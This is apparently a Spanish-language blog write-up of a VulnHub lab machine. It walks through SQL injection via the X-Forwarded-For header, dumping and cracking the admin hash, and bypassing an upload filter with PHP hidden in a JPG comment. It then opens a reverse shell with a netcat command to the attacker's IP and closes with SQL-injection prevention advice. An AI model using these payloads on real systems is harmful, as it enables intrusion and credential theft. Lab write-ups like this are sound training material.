Descripción
Este ejercicio explica cómo se puede, a partir de una inyección SQL, acceder a la consola de administración. A continuación, en la consola de administración, cómo puede ejecutar comandos en el sistema.
Con la herramienta Netdiscover escanearemos la red en busca de nuestra máquina objetivo.
Nuestra máquina objetivo tiene la dirección IP 192.168.50.114. Ahora con la herramienta Nmap escanearé la máquina objetivo para realizar un reconocimiento de puertos y servicios en ejecución.
Como se muestra en las imágenes anteriores la máquina objetivo está ejecutando el servidor nginx en el puerto 80.
Ahora con mi navegador web visitaré la página web.
Al visitar la página web se nos muestra la página de inicio y también se puede observar una barra de menú. Ahora analizaré cada link de la barra de menú.
Analizando la barra de menú los menús |test|ruxcon|2010| son cargadas en la página web a través de la siguiente URL: http://192.168.50.114/cat.php?id=1, donde id=1 corresponde al link test, id=2 corresponde al link ruxcon y id=3 corresponde al link 2010.
Ahora veré si el parámetro 'id' es vulnerable a SQLi. Para esto igualaré en el parámetro id con el carácter (') apóstrofo. de la siguiente manera http://192.168.50.114/cat.php?id=', con esto deberíamos ver algún error de base de datos si el parámetro es vulnerable a SQLi.
Con la prueba anterior en la página web no se mostró ningún tipo de error, por lo tanto, realizaré una segunda prueba, enviaré el siguiente parámetro por la URL: http://192.168.50.114/cat.php?id=1' or sleep(5) -- -.
La prueba anterior lo que intentaba realizar es si el parámetro 'id' es vulnerable a SQLi al inyectar la instrucción sleep(5) -- -. La página web debe retardar la carga de la página web en 5 segundos. este tipo de vulnerabilidad es también conocida como SQLi blind (SQLi a ciegas). Para este caso, la página web se demoró 14 ms en cargar.
Por lo tanto, indica que el parámetro no es vulnerable a SQLi Blind.
Otra página web importante de analizar es link admin, que muestra un formulario web de autenticación.
Realizaré la misma prueba para comprobar si el formulario web es vulnerable a SQLi. Primero probaré el campo login.
Como resultado de la prueba anterior a la página web, no mostro ningún tipo de error y mensaje de autenticación fallida. Esto me hace pensar que el formulario no es vulnerable a inyección SQL. Por lo tanto, me apoyaré de la herramienta SQLMap para realizar pruebas más sofisticadas a los parámetros antes testeado de forma manual.Con la herramienta SQLMap ejecutaré de la siguiente forma.
Como se muestra en la imagen anterior al ejecutar la herramienta SQLMap, esta indica que el parámetro "cat.php?id=1" no es vulnerable a SQLi.
Ahora ejecutare la herramienta contra el formulario web.
Al ejecutar herramienta SQLMap contra el formulario web, esta indica que el formulario web no es vulnerable a SQLi.
Por lo tanto, sabemos que esta máquina es vulnerable a SQLi y ya hemos probado todos los puntos de entrada de la aplicación para encontrar la vulnerabilidad SQLi. Después de buscar información durante un par de horas en Internet encontré el siguiente post "SQL injection through HTTP headers". En este post se explica la posibilidad de a través de cabeceras HTTP encontrar vulnerabilidades SQLi. En ellas se mencionan las cabeceras: X-Forwarded-For, User-Agent, Referer. Para una mayor información sobre las cabeceras HTTP les comparto la siguiente información "HTTP headers".
En esencia estas cabeceras HTTP mencionadas anteriormente son utilizadas por la aplicación web para registrar logs, hacer estadísticas, etc. Como fuente de datos para almacenar esta información podría ser una base de datos. Por lo tanto, debemos realizar pruebas a estos encabezados HTTP y descubrir si son vulnerables a SQLi.
El primer parámetro al cual le realizaré la prueba será al encabezado X-Forwarded-For. Para realizar la prueba utilizaré la herramienta BurpSuite de la siguiente forma.
Como se muestra en la imagen anterior intercepte la petición a la página web. Luego enviaré la petición interceptada a la utilidad "Repeater" de BurpSuite para manipular las cabeceras HTTP.
Una vez estando en el "Repeater" debemos agregar la cabecera HTTP X-Forwarded-For y luego enviamos al servidor. Para este caso el valor de la cabecera será: 127.0.0.1' OR SLEEP(10) -- -.
Nota: La cabecera X-Forwarded-For (XFF) es un estándar de facto para identificar el origen de la dirección IP de un cliente conectado a un servidor web a través de un proxy HTTP o un balanceador de carga.
Como se muestra en la imagen anterior envié la cabecera "x-forwarded-for" sin ninguna carga útil para probar la vulnerabilidad SQLi. El objetivo de esto es saber cuánto demora en responder el servidor, el servidor demoro en responder 15 milisegundos. Ahora a la cabecera x-forwarded-for agregare la instrucción sleep(10), por lo tanto, si el servidor se demora en responder 20 milisegundos o más indica que la cabecera "x-forwarded-for" es vulnerable a SQLi.
Como se muestra en la imagen anterior el servidor se demoró 20 milisegundo en responder. esto es un indicador que el parámetro "x-forwarded-for" es vulnerable a SQLi.
Ahora utilizaré la herramienta SQLMap para realizar pruebas más sofisticadas.
La herramienta detecto que la cabecera "x-forwarded-for" es vulnerable a SQLi y también detecto la base de datos que utiliza la página web que es MySQL.
Ahora necesitamos saber que bases de datos se encuentran almacenada servidor MySQL.
Ahora debemos enumerar las tablas y su contenido de la base de dato "photoblog".
Al ejecutar SQLMap como se muestra en la imagen anterior, la herramienta nos mostrará mucha información, pero la información relevante es la tabla "user" en ella se encuentra el nombre de usuario y contraseña, para el usuario admin. La contraseña al parecer se encuentra hasheada. Entonces con la herramienta online crackstation decodificaré la contraseña.
Con la contraseña descifrada me autenticaré en el formulario de login de la aplicación.
Como podemos observar al autenticarnos se nos muestra un panel donde podemos agregar imágenes. Cabe mencionar que, en la máquina VulnHub - From SQL Injection to Shell I también se nos presentaba la misma página web y al subir un archivo al servidor este validaba que no tuviera la extensión .php, pero si cambiamos la extensión a .pHp podemos subir el archivo al servidor. Por tanto, probaré la misma forma de vulnerar el servidor.
En el directorio /usr/share/webshells de máquina atacante (Kali Linux) encontramos varias webshell en diferentes lenguajes de programación el que nos interesa a es php.
La webshell que utilizaremos será php-reverse-shell.php.
El archivo php-reverse-shell.php debemos realizar algunos cambios.
Las líneas que debemos modificar son las número 49 y 50. Donde la línea número 49 debemos configurar la dirección IP de nuestra máquina atacante y en la línea 50 debemos configurar el puerto en escucha por donde recibiremos la conexión desde el servidor web.En nuestra máquina atacante utilizaremos la herramienta Netcat para configurar el puerto en escucha.
Por último, nos queda subir nuestra reverse-shell al servidor web. primero para subir el archivo cambiaré el nombre del archivo a umbrella.pHp, para que nuestro archivo pase desapercibido y para pasar la validación del servidor.
Al subir el archivo nos muestra el siguiente mensaje.
Al parecer en esta versión de la máquina han mejorado la validación de los archivos que se suben al servidor web.Probaré otro esquema de ataque, en este caso utilizaré una imagen con extensión .jpg. y con la herramienta exiftool agregaré un metadato de tipo "comment" donde inyectaré código PHP donde pueda ejecutar comandos en el servidor web.
Ahora subiré la imagen al servidor web.
¡Bien! nuestro esquema de ataque a funcionado muy bien.
Ahora comprobaré si en el servidor está instalada la aplicación netcat.
La aplicación netcat está instalada en el servidor web, por lo tanto, podría ejecutar la siguiente instrucción "nc -e /bin/sh 192.168.50.160 1234". Donde la dirección IP 192.168.50.160 es la dirección IP de mi máquina atacante y 1234 es número de puerto que estará escuchando las conexiones en la máquina atacante.
En la máquina atacante ejecutaré la siguiente instrucción para dejar a la escucha el puerto número 1234.
Mientras en la página web comprometida ejecutaremos la siguiente solicitud.
![]() |
| http://192.168.50.114/admin/uploads/1721876951.jpg/cmd.php?cmd=nc%20-e%20/bin/sh%20192.168.50.160%201234 |
Al enviar la solicitud en nuestra máquina atacante recibiremos una conexión a desde el servidor a nuestra máquina atacante.
Como se muestra en las imágenes anteriores tenemos una consola funcional. En el directorio "classes" hay un archivo stats.php, donde se procesa la cabecera HTTP "X-Forwarded-For".
Como se muestra en la imagen anterior la cabecera "X-Forwarded-For" está siendo procesado por la aplicación web con fines estadísticos.
¿Cómo prevenir las inyecciones SQL?
Existen distintos tipos de medidas para mitigar las inyecciones SQL, cuando se debe comunicar una aplicación a una base de dato a través del lenguaje SQL. También se debe considerar que no tan solo las aplicaciones web son vulnerables a inyección SQL, las aplicaciones de escritorio también pueden ser vulnerables a inyecciones SQL.
Las principales medidas de mitigación son:
- Uso de consultas parametrizadas (Prepared Statements).
- Uso de procedimientos almacenados (Stored Procedures).
- Validación de entrada de datos de usuarios.
Las consultas preparadas consisten en declarar la consulta a ejecutar en una variable antes de su ejecución, es decir, precompilar la instrucción SQL para luego mediante marcadores de posición (placeholder) se remplazan los valores provenientes desde la aplicación web o de aplicación de escritorio.
Algunas aplicaciones que utilizan consultas preparas son:
Python - SQLAlchemy
PHP - PDO (PHP Data Objects)
Java - JDBC(Java Data base Connections) a través del método prepareStatement.
.NET - ADO.NET (Access Data objects) a través del método SqlCommandPrepare.
Procedimientos almacenados (Stored Procedures).
Los procedimientos almacenados son un conjunto de instrucciones de base de datos (SQL) que se almacenan físicamente en una base de datos y pueden ser llamadas desde otras aplicaciones y otros procedimientos almacenados.
Ejemplo de procedimiento almacenado en MySQL.
Tabla empleados.
CREATE TABLE empleados (
id INT AUTO_INCREMENT PRIMARY KEY,
nombre VARCHAR(100),
salario DECIMAL(10, 2)
);
Procedimiento almacenado que inserta datos en la tabla empleado.
DELIMITER //
CREATE PROCEDURE agregarEmpleado(
IN p_nombre VARCHAR(100),
IN p_salario DECIMAL(10, 2)
)
BEGIN
INSERT INTO empleados (nombre, salario) VALUES (p_nombre, p_salario);
END //
DELIMITER ;
Se debe tener cuidado de no incluir ninguna generación de declaración SQL dinámica no segura, en el caso se sea necesita incluir una declaración SQL dinámica se deben validar las entradas y un adecuado escape de caracteres.
Validación de entrada de datos de usuarios
Para todos los casos se debe tener una buena validación de entradas de datos de usuarios. es decir, si un campo recoge un valor de fecha, que el campo solo reciba valores de tipo fecha. esto evita que desde la capa de aplicación (Web o Escritorio) lleguen datos que puedan afectar las instrucciones SQL y su comportamiento.
Happy Hack!!!















































Comentarios
Publicar un comentario